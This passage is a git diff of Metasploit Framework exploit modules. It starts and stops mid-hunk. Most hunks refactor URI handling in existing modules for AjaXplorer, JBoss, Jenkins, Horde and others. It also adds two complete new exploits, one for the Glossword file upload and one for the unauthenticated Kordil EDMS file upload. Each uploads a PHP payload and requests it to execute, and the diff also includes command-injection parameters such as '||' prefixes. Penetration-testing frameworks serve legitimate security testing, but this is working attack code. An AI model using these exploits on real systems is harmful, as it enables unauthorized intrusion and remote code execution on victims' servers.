fd.close + end + return jar.pack + end + + def generate_html + html = <<-EOF + + + + EOF + return html + end + +end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index bf541b1d47..7996ad52ef 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ], + 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ], 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index d9c8e87e8d..404bf9f31d 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -57,13 +57,13 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'), 'vars_get' => { 'destServer' => "||echo #{clue}" } @@ -79,13 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path # Trigger the command execution bug res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"), 'vars_get' => { 'destServer' => "||#{payload.encoded}" diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 06e6fdc6a0..fc485ebc44 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -59,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php') }) if res and res.code == 200 and res.body.empty? @@ -75,8 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}addons/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=o0oOo0o', 'data' => post_data }) @@ -107,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}" + 'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 2a314cb411..cb0147c8c4 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -56,11 +56,12 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"}) + res = send_request_raw({ + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") + }) if res and res.body =~ /\Pet Rate Admin \- Banner Manager\<\/title\>/ return Exploit::CheckCode::Appears else @@ -83,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/admin/sitebanners/upload_banners.php", + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, }) @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{@peer} - Requesting '#{php_fname}'...") - res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"}) + res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index f9060db244..9f030bbbc2 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -227,9 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote authmsg = res.headers['WWW-Authenticate'] end print_error("The remote server responded expecting authentication") - if datastore['BasicAuthUser'] and datastore['BasicAuthPass'] - print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser']) - elsif authmsg + if authmsg print_error("WWW-Authenticate: %s" % authmsg) end cleanup_instructions(rpath, name) # display cleanup info @@ -267,7 +265,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) @@ -303,7 +301,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 40dfc9a09b..2f413cec6b 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote base << '/' if base[-1, 1] != '/' res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}" + 'uri' => base }) if res.body =~ /\Version 2\.11\.2\<\/strong\>\/ @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote # upload res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}pages/restart_circulation_values_write.php", + 'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post, }) @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Retrieving file: #{fname}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}upload/___1/#{fname}" + 'uri' => normalize_uri(base, "upload/___1/#{fname}") }) handler diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb new file mode 100644 index 0000000000..57b069ceb9 --- /dev/null +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -0,0 +1,192 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability", + 'Description' => %q{ + This module exploits a file upload vulnerability in Glossword + versions 1.8.8 to 1.8.12 when run as a standalone application. + This application has an upload feature that allows an authenticated user + with administrator roles to upload arbitrary files to the 'gw_temp/a/' + directory. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkaStep', # Discovery + 'Brendan Coles ' # metasploit exploit + ], + 'References' => + [ + [ 'EDB', '24456' ], + [ 'OSVDB' '89960' ] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic Targeting', { 'auto' => true }]], + 'Privileged' => true, + 'DisclosureDate' => "Feb 05 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']), + OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']), + OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin']) + ], self.class) + end + + def check + + base = target_uri.path + peer = "#{rhost}:#{rport}" + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + # login + print_status("#{peer} - Authenticating as user '#{user}'") + begin + res = login(base, user, pass) + if res + if res.code == 200 + print_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Unknown + elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ + print_good("#{peer} - Authenticated successfully") + return Exploit::CheckCode::Appears + end + end + return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + def on_new_session(client) + if client.type == "meterpreter" + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.fs.file.rm("#{@fname}") + else + client.shell_command_token("rm #{@fname}") + end + end + + def upload(base, sid, fname, file) + + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + data = Rex::MIME::Message.new + data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"") + data.add_part("edit-own", nil, nil, 'form-data; name="a"') + data.add_part("users", nil, nil, 'form-data; name="t"') + data.add_part("Save", nil, nil, 'form-data; name="post"') + data.add_part("#{sid}", nil, nil, 'form-data; name="sid"') + data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"') + data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"') + data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"') + + data_post = data.to_s + data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'gw_admin.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + }) + + return res + end + + def login(base, user, pass) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'gw_login.php'), + 'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter" + }) + return res + + end + + def exploit + + base = target_uri.path + @peer = "#{rhost}:#{rport}" + @fname= rand_text_alphanumeric(rand(10)+6) + '.php' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + # login; get session id and token + print_status("#{@peer} - Authenticating as user '#{user}'") + res = login(base, user, pass) + if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ + token = "#{$1}" + sid = "#{$2}" + print_good("#{@peer} - Authenticated successfully") + else + fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") + end + + # upload PHP payload + print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") + php = %Q|| + begin + res = upload(base, sid, @fname, php) + if res and res.code == 301 and res['location'] =~ /Setting saved/ + print_good("#{@peer} - File uploaded successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + # retrieve PHP file path + print_status("#{@peer} - Locating PHP payload file") + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'), + 'cookie' => "sid#{token}=#{sid}" + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + if res and res.code == 200 and res.body =~ / 'GET', + 'uri' => normalize_uri(base, shell_uri), + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + if !res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed") + end + end +end diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 0c36c206c2..e5df62a1a8 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -59,14 +59,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # Make sure the URI begins with a slash - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ - 'uri' => uri + "/services/javascript.php", + 'uri' => normalize_uri(uri, "/services/javascript.php"), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index f196e48619..4b34db4010 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( - 'uri' => "#{@uri}servlet/Main", + 'uri' => normalize_uri(@uri, 'servlet/Main'), 'method' => 'POST' ) @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { - 'uri' => "#{@uri}j_security_check", + 'uri' => normalize_uri(@uri, 'j_security_check'), 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { - 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", + 'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -285,7 +285,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { - 'uri' => "#{@uri}#{@jsp_name}.jsp", + 'uri' => normalize_uri(@uri, "#{@jsp_name}.jsp"), 'method' => 'GET', 'headers' => { @@ -334,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "" + "\r\n" res = send_request_cgi({ - 'uri' => "#{@uri}services/APIPreferenceImpl", + 'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index d2ea9a7cc8..f350fe4984 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -96,9 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) @@ -391,7 +388,7 @@ EOT end def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, @@ -449,13 +446,13 @@ EOT if (datastore['VERB']== "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'data' => params }) else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + params + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" }, 30) end res diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 8808c158ff..422b8f8392 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -277,14 +277,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -308,14 +308,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -378,7 +378,7 @@ EOT def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index db63a96cb4..32c8470de4 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -123,9 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) @@ -176,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote if (datastore['VERB'] == "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -189,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_get' => { 'action' => 'invokeOpByName', @@ -275,7 +272,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -314,7 +311,7 @@ class Metasploit3 < Msf::Exploit::Remote def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path @@ -350,7 +347,7 @@ class Metasploit3 < Msf::Exploit::Remote arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 - elsif (os =~ /(x86_64|amd64)/i) + elsif (arch =~ /(x86_64|amd64)/i) return ARCH_X86 end end diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index bc195f03a9..bd825a7a00 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => "#{@uri.path}script", + 'uri' => normalize_uri(@uri.path, "script"), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@uri.path}j_acegi_security_check", + 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb new file mode 100644 index 0000000000..f680d527e3 --- /dev/null +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -0,0 +1,135 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability in Kordil EDMS v2.2.60rc3. + This application has an upload feature that allows an unauthenticated user + to upload arbitrary files to the '/kordil_edms/userpictures/' directory. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brendan Coles ' # Discovery and exploit + ], + 'References' => + [ + #['OSVDB', ''], + #['EDB', ''], + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 22 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']), + ], self.class) + end + + def check + + base = target_uri.path + peer = "#{rhost}:#{rport}" + + # retrieve software version from login page + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'global_group_login.php') + }) + if res and res.code == 200 + if res.body =~ /
Kordil EDMS v2\.2\.60/ + return Exploit::CheckCode::Vulnerable + elsif res.body =~ /Kordil EDMS v/ + return Exploit::CheckCode::Detected + end + end + return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + def upload(base, file) + data = Rex::MIME::Message.new + data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"") + data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"') + data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"') + data.add_part("n", nil, nil, 'form-data; name="act"') + data_post = data.to_s + data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'users_add.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post + }) + return res + end + + def on_new_session(client) + if client.type == "meterpreter" + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.fs.file.rm("#{@fname}.php") + else + client.shell_command_token("rm #{@fname}.php") + end + end + + + def exploit + + base = target_uri.path + @peer = "#{rhost}:#{rport}" + @fname = rand_text_numeric(7) + + # upload PHP payload to userpictures/[fname].php + print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") + php = %Q|| + begin + res = upload(base, php) + if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/ + print_good("#{@peer} - File uploaded successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + # retrieve and execute PHP payload + print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)") + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php") + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + end +end diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 0206ac51f7..98f2f7ebda 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php" + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php") }) if res and res.code == 200 @@ -87,14 +87,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)") send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php", + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"), 'data' => php }) print_status("#{peer} - Requesting data.php") send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php" + 'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php') }) handler diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fbe992bc3a..34ea77ce51 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")}) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{@peer} - Uploading payload") res = send_request_cgi({ - 'uri' => "#{base}/includes/savepage.php", + 'uri' => normalize_uri(base, "/includes/savepage.php"), 'vars_get' => { 'savepage' => php_fname, 'pagecontent' => get_write_exec_payload(:unlink_self=>true) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" }) + send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) }) handler end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 96c4a846cb..0347f05503 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_raw(cmd) - path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' + path = normalize_uri(target_uri.path, '/mt-upgrade.cgi') pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index b546de063f..cbddcb1930 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => '/cgi/surgeftpmgr.cgi', 'method' => 'POST', - 'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'], + 